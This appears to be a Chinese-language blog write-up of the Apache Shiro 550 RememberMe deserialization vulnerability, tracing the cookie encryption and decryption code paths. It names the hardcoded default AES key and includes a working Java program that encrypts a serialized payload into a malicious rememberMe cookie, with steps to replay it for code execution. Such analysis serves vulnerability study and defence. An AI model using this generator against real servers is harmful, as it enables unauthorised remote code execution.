原理
由于用于存储用户信息的RememberMe参数在加密处理时进行了AES加密、Base64加密、序列化处理,因此可以通过伪造该值将恶意代码写入导致Shiro550反序列化漏洞
环境
jdk1.8
shiro-root-1.2.4
分析
加密过程
当用户登录时,为DefaultSecurityManager.login()
,会触发onSuccessfulLogin()
方法
然后在下方看到调用rememberMeSuccessfulLogin()
方法,查看该方法
可知进行请求就会调用AbstractRememberMeManager.onSuccessfulLogin()
方法,查看方法
可以看到选择存储RememberMe的就会走下面的if,就会调用rememberIdentity()
方法,继续跟进
可以看到在这里先调用了AbstractRememberMeManager.convertPrincipalsToBytes()
跟进之后就能看到serialize()和encrypt()方法了
分别进行分析,先看DefaultSerializer.serialize()
,跟进,发现了这里序列化的处理
再看AbstractRememberMeManager.encrypt()
方法,此处是对已经序列化的参数进行了处理,如果不为空的话就调用JcaCipherService.encrypt()
方法,在这之前有一个getEncryptionCipherKey()
方法,直接跟进,直到看到调用的已被写死的key,如下图
然后返回头继续看JcaCipherService.encrypt()
方法,此时对ivBytes有一个处理,但是跟进没看明白。。。先继续往下,完成校验之后,会调用重载的encrypt()
可以看到这里就会输出值output,也就是最终的结果,通过crypt()
获取到bytes数组
获取bytes数组的整个过程AbstractRememberMeManager.rememberIdentity()→AbstractRememberMeManager.rememberSerializedIdentity()→AbstractRememberMeManager.convertPrincipalsToBytes()→AbstractRememberMeManager.encrypt()→output
解密过程
前面login和onSuccessfulLogin基本相同,但是没找到从哪里调用的,于是直接从刚才找到encrypt()方法的类里找到decrypt()方法,看有谁调用了他
然后就走到了AbstractRememberMeManager.getRememberedPrincipals()
方法,可以看到在if里对convertBytesToPrincipals()
方法进行了调用,先看上面对bytes数组获取的方法,发现bytes就是base64了获取的setcookie的值
然后回过头来看AbstractRememberMeManager.convertBytesToPrincipals()
方法,先对获取的bytes进行解码,然后再反序列化处理,于是跟进devrypt()
方法
如图,类似加密方法,同样是通过getDecryptionCipherKey()
获取了默认的key值,然后再在JcaCipherService.decrypt()
中进行了处理,跟进
如图,对bytes值进行了一系列的处理,先是对iv的处理,类似于加密
然后返回值到decrypt()中,在这里,将获取的decrypted值调用crypt()方法进行处理
回到最开始的convertBytesToPrincipals()
方法,查看DefaultSerializer.deserialize()
也就是反序列化的处理,如图,直接发现漏洞触发点readObject(),整个过程结束
通过该流程进行解码CookieRememberMeManager.rememberSerializedIdentity()→CookieRememberMeManager.getRememberedSerializedIdentity()→AbstractRememberMeManager.getRememberedPrincipals()→AbstractRememberMeManager.convertBytesToPrincipals()→AbstractRememberMeManager.decrypt()→JcaCipherService.decrypt()→JcaCipherService.crypt()
复现
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class ShiroRememberMeExp {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("F:/test/payload/urldns.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));
out.write(ciphertext.toString());
out.close();
System.out.println("OK");
}
}
生成序列化数据
放到cookie中重放数据包
弹计算器
评论 (0)